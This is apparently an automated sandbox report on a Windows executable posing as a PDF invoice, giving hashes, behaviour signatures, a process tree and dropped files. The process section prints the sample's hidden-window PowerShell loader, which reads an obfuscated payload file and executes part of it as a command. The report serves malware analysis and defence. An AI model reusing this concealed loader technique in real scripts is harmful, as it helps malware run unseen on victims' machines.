Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-07-2024 09:49

General

  • Target

    Orange_doklad_CN0413278003_20240705_FR09831200076590·pdf.exe

  • Size

    398KB

  • MD5

    b1c35e78f5d588430c4f534479def9f2

  • SHA1

    f787dd3327ca04361935f74867f76f16821db99f

  • SHA256

    4412e46cdfffa346ea1d4e07b30077ccaa09fe1cbbe6f9965df193f2e063f4b7

  • SHA512

    5f78e6794ae313f5ca96c33fe0ecf0c882a18a93caa54bf92823ac42c5c753b6a98d4c77618de2b62cbc9d24e6e500272e4ffa7b25afff20b7e8349fc278a66c

  • SSDEEP

    12288:9GkmNVhJhqnfP30YhNia+nv4tQD3W/P19QY:9GkmPh7qfPrsQeD3W/bd

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Orange_doklad_CN0413278003_20240705_FR09831200076590·pdf.exe
    "C:\Users\Admin\AppData\Local\Temp\Orange_doklad_CN0413278003_20240705_FR09831200076590·pdf.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4040
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Vangede=Get-Content 'C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Reexpression.Tid';$Spondylotomy=$Vangede.SubString(70479,3);.$Spondylotomy($Vangede)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2996
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2996 -s 2492
        3⤵
        • Program crash
        PID:1968
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 208 -p 2996 -ip 2996
    1⤵
      PID:3500

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cgju2ndj.ygv.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Reexpression.Tid

      Filesize

      68KB

      MD5

      d89dac6d6bcfb431c31bdf7d21f48fbd

      SHA1

      2f55f2b77da6a9078c7bb90fd87b205c9c4cf3b9

      SHA256

      ffeacf6c0a98133600a0f1de25732fb4b22b06af6921edd316e52a6d7837359b

      SHA512

      76eb9025c18fd7661cb72d47c7eda57a45304594e5aea32fe73b1dd94ec9db81753726f83e6d9f82924c3b9295eef4725dbaa7d633963ac8e8e91b7444346070

    • memory/2996-13-0x0000000074360000-0x0000000074B10000-memory.dmp

      Filesize

      7.7MB

    • memory/2996-28-0x0000000006430000-0x000000000647C000-memory.dmp

      Filesize

      304KB

    • memory/2996-9-0x000000007436E000-0x000000007436F000-memory.dmp

      Filesize

      4KB

    • memory/2996-14-0x0000000005520000-0x0000000005542000-memory.dmp

      Filesize

      136KB

    • memory/2996-16-0x0000000005D80000-0x0000000005DE6000-memory.dmp

      Filesize

      408KB

    • memory/2996-15-0x0000000005D10000-0x0000000005D76000-memory.dmp

      Filesize

      408KB

    • memory/2996-11-0x00000000055B0000-0x0000000005BD8000-memory.dmp

      Filesize

      6.2MB

    • memory/2996-26-0x0000000005DF0000-0x0000000006144000-memory.dmp

      Filesize

      3.3MB

    • memory/2996-27-0x00000000063F0000-0x000000000640E000-memory.dmp

      Filesize

      120KB

    • memory/2996-12-0x0000000074360000-0x0000000074B10000-memory.dmp

      Filesize

      7.7MB

    • memory/2996-29-0x00000000073C0000-0x0000000007456000-memory.dmp

      Filesize

      600KB

    • memory/2996-30-0x0000000006920000-0x000000000693A000-memory.dmp

      Filesize

      104KB

    • memory/2996-31-0x00000000069A0000-0x00000000069C2000-memory.dmp

      Filesize

      136KB

    • memory/2996-32-0x0000000007A10000-0x0000000007FB4000-memory.dmp

      Filesize

      5.6MB

    • memory/2996-10-0x0000000002E50000-0x0000000002E86000-memory.dmp

      Filesize

      216KB

    • memory/2996-34-0x0000000008640000-0x0000000008CBA000-memory.dmp

      Filesize

      6.5MB

    • memory/2996-36-0x0000000074360000-0x0000000074B10000-memory.dmp

      Filesize

      7.7MB